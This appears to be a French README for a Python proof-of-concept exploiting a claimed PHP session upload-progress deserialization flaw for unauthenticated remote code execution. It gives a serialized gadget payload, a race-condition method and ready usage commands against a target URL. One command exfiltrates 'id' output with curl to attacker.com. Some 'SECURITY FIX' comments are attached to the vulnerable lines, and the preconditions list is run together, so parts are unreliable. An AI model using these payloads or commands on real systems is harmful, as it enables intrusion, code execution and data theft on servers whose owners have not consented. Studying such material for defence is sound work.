
PoC Python exploitant CVE-2026-115560, une inadéquation du gestionnaire de sérialisation de la progression d'upload de session PHP permettant une injection d'objet non authentifiée et une RCE via un upload par condition de course.
| Champ | Valeur |
|---|---|
| ID CVE | CVE-2026-115560 |
| Éditeur | The PHP Group |
| Versions affectées | PHP 7.x, 8.0 – 8.4.x (toutes les builds avec la configuration par défaut session.upload_progress) |
| Version corrigée | Aucun correctif — atténuation officielle : session.upload_progress.enabled=0 |
| Avis | Avis informatif php.net 2026-10-23 |
| CVSS 3.1 | 9.8 Critique |
| CWE | CWE-502 — Désérialisation de données non fiables |
| Vecteur d'attaque | Réseau |
| Authentification requise | Aucune (non authentifiée) |
| Impact | Exécution de code à distance non authentifiée via injection d'objets PHP |
| Préconditions | session.upload_progress.enabled=1 (valeur par défaut de PHP) + l'application change de sérialiseur à l'exécution |
CVE-2026-115560 est une vulnérabilité d'exécution de code à distance non authentifiée dans l'extension session de PHP, divulguée le 2026-10-23 — deux jours après les versions d'urgence PHP2Shell (CVE-2026-109618 / CVE-2026-109619). Elle affecte toute application PHP où les trois préconditions sont réunies simultanément :
php.ini configure session.serialize_handler = php_binary ou session.serialize_handler = php_serializeini_set('session.serialize_handler', 'php') avant session_start()session.upload_progress.enabled = 1 (valeur par défaut de PHP)La cause racine est une incohérence de gestionnaire de sérialisation : le sous-système de progression d'upload de session de PHP s'exécute avant le RINIT (avant tout code applicatif) et écrit le fichier de session en utilisant le gestionnaire configuré côté serveur (php_serialize). Lorsque l'application bascule ensuite vers le gestionnaire php et appelle session_start(), elle relit le fichier de session avec le désérialiseur php, qui découpe sur le premier caractère | et désérialise tout ce qui suit.
Comme l'attaquant contrôle la valeur du champ POST PHP_SESSION_UPLOAD_PROGRESS — que PHP stocke comme clé de tableau non assainie dans le fichier de session — il peut injecter un | suivi d'un objet PHP sérialisé arbitraire. Le gestionnaire php le désérialise, déclenchant les chaînes de gadgets __destruct / __wakeup et permettant l'exécution de code à distance.
L'exploit est une attaque concurrente à deux requêtes : une requête envoie lentement un fichier volumineux (maintenant la clé de session malveillante active dans le fichier de session), tandis qu'une seconde requête lit la session, déclenchant la désérialisation. Avec la valeur par défaut session.upload_progress.cleanup=1, la fenêtre de course reste ouverte pendant toute la durée de l'upload — atteignable dans une plage de 13 à 38 secondes avec un corps de plusieurs Mo.
php-src/ext/session/session.c php-src/main/rfc1867.c
───────────────────────────── ──────────────────────
php_session_rfc1867_callback() MULTIPART_EVENT_FILE_START
└─ php_rinit_session(0) PS(serializer) = server ini (php_serialize)
└─ php_session_rfc1867_update()
└─ php_session_flush(1) ← writes session file with php_serialize
key = "upload_progress_" + PHP_SESSION_UPLOAD_PROGRESS (UNSANITIZED)
value = array(start_time, current_file, ...)
--- (upload still in flight) ---
Application code (application.php):
ini_set('session.serialize_handler', 'php') // SECURITY FIX: CWE-502 -- ini switch creates mismatch
session_start()
└─ PS_SERIALIZER_DECODE_FUNC(php)
splits at first '|'
unserialize(everything after '|') ← attacker-controlled gadget chain
__destruct() fires → RCE
a:1:{s:56:"upload_progress_|O:12:"ExecOnDestruct":1:{s:3:"cmd";s:2:"id";}";a:5:{...}}
^
php handler splits here and unserializes the rest
/* ext/session/session.c -- php_session_rfc1867_callback (PHP <= 8.4.x) */
static void php_session_rfc1867_callback(unsigned int event, void *event_data, void **extra)
{
/* SECURITY FIX: CWE-502 -- PS(serializer) resolved from server ini, not application ini */
if (event == MULTIPART_EVENT_FILE_START) {
php_rinit_session(0); // uses server-configured serialize_handler
}
if (event == MULTIPART_EVENT_FILE_END || event == MULTIPART_EVENT_END) {
php_session_rfc1867_update(progress, 1); // writes with server handler
// PS(session_status) = php_session_none — not locked against handler re-init
}
}
// Vulnerable application pattern
ini_set('session.serialize_handler', 'php'); // switches handler AFTER rfc1867 write
session_start(); // reads back with 'php', deserializes mismatch
flowchart LR
A([Attacker]) -->|POST multipart upload\nPHP_SESSION_UPLOAD_PROGRESS=\n pipe + serialized gadget| B[PHP rfc1867 callback\npre-RINIT]
B -->|writes session file\nwith php_serialize handler| C[(Session File\n/tmp/sess_X)]
C -->|malicious key survives\nfor upload duration| D{Race Window\n13-38 seconds}
D -->|concurrent GET /?PHPSESSID=X| E[Application Code\nini_set handler=php\nsession_start]
E -->|php handler reads session\nsplits on pipe char| F[unserialize gadget]
F -->|__destruct fires| G([RCE\ncode execution as www-data])
style A fill:#1a0810,color:#e94560
style G fill:#1a0810,color:#e94560
style F fill:#3d0015,color:#fff
style D fill:#1a2010,color:#7ec8a0
pip install -r requirements.txt
# Check preconditions only (no exploit)
python poc.py -u http://target.example.com/app.php --check-only -v
# Full exploit: inject id command via __destruct gadget
python poc.py -u http://target.example.com/app.php -c "id" -v
# Custom gadget class name and RCE payload
python poc.py -u http://target.example.com/app.php -c "curl http://attacker.com/$(id)" \
--gadget ExecOnDestruct --upload-size 8 -o result.json
# Proxy through Burp
python poc.py -u http://target.example.com/app.php -c "id" --proxy http://127.0.0.1:8080 --insecure